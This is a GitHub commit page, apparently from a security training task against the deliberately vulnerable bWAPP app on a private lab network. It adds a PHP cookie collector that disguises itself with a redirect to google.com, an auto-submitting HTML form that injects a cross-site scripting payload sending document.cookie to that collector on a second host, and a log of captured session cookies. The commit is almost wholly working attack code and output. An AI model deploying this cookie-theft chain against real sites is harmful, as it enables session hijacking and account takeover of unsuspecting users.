adding all the necessary

bhandarisandeep · Jan 22, 2019 · 59dc0fc · 59dc0fc
1 parent 87296ca
commit 59dc0fc
Show file tree

Hide file tree

Showing 3 changed files with 46 additions and 0 deletions.
diff --git a/cookiesteal.php b/cookiesteal.php
@@ -0,0 +1,10 @@
+<?php
+
+header ('Location:https://google.com');//;et the victim think as he is visiting the google.com
+$cookies = $_GET["c"];
+$file = fopen('log.txt', 'a');
+fwrite($file, $cookies . "\n\n");
+
+
+
+?>
diff --git a/final payload/google.html b/final payload/google.html
@@ -0,0 +1,16 @@
+<html>
+
+<body onload="document.myForm.submit()">
+
+<form method="GET" action="http://192.168.139.3/bWAPP/xss_php_self.php" name="myForm">
+
+<input type=hidden name="firstname"  value="<script>document.location='http://192.168.139.4/synopsys/task2/cookiesteal.php?c='+document.cookie;</script>"/>
+<input type=hidden name="lastname"  value="hello hacker"/>
+<input type=hidden name="form"  value="submit"/>
+
+<!--
+<input type=submit name="form" id="submit" value="see magic here"/>
+-->
+</form>
+</body>
+</html>
diff --git a/log.txt b/log.txt
@@ -0,0 +1,20 @@
+
+
+PHPSESSID=7qk32ap3j9jnibr6bp8e833vj3; security_level=0
+
+PHPSESSID=7qk32ap3j9jnibr6bp8e833vj3; security_level=0
+
+PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=o2ggiln1tl6b6tmpllqe86vth1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=o2ggiln1tl6b6tmpllqe86vth1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+